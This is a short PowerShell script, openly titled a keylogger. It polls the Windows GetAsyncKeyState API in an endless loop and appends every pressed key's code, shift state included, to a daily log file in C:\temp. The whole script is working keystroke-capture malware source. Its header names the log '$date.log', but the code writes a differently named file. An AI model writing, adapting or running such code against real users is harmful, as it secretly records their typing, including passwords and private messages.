﻿<#
KeyLogger

Jeff Hogan
2/21/2013

.DESCRIPTION
Log a user's key presses and writes them 
to a file $date.log in c:\temp.

.EXAMPLE
PS > .\Keylogger.ps1

#>

function Keylogger
{
$signature = @' 
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
'@ 
$getKeyState = Add-Type -memberDefinition $signature -name "Win32GetState" -namespace Win32Functions -passThru 

    $AllPressed = New-Object System.Collections.ArrayList
    $OutputCount=0
    while ($true) 
    { 
        Start-Sleep -Milliseconds 40

        $Output=""
        
        for ($number=0x08;$number -lt 0xFF;$number++) #Below 0x08 is mouse buttons
        {
            if ($number -eq 0x10) { continue } #Shift
            if ($number -eq 0xA0) { continue } #Left Shift
            if ($number -eq 0xA1) { continue } #Right Shift

            $pressed=($getKeyState::GetAsyncKeyState($number) -eq -32767) -or ($getKeyState::GetAsyncKeyState($number) -eq -32768)

            if ($pressed)
            {
                if (!$AllPressed.Contains($number)) 
                { 
                    $void=$AllPressed.Add($number)
                    $Shift=($getKeyState::GetAsyncKeyState(0x10) -eq -32767) -or ($getKeyState::GetAsyncKeyState(0x10) -eq -32768)
                
                    if (!$Shift)
                    {
                        $Output="$number"
                    }
                    else
                    {
                        $Output="-$number"
                    }
    
                
                if ($OutputCount -ge 20)
                { 
                    $Output+=[System.Environment]::NewLine 
                    $OutputCount=0
                }
                else
                {
                    $Output+=","
                }
                $OutputPath="C:\temp\log" + (Get-Date).ToString("yyyyMMdd") + ".txt"
                [IO.File]::AppendAllText($OutputPath, $Output)
                #Write-Host "$Output," -NoNewline
                $OutputCount++
                

                }
            }
            else
            {
                if ($AllPressed.Contains($number)) 
                { 
                    $AllPressed.Remove($number)
                }
            }
        }

        
    
    }
}

Keylogger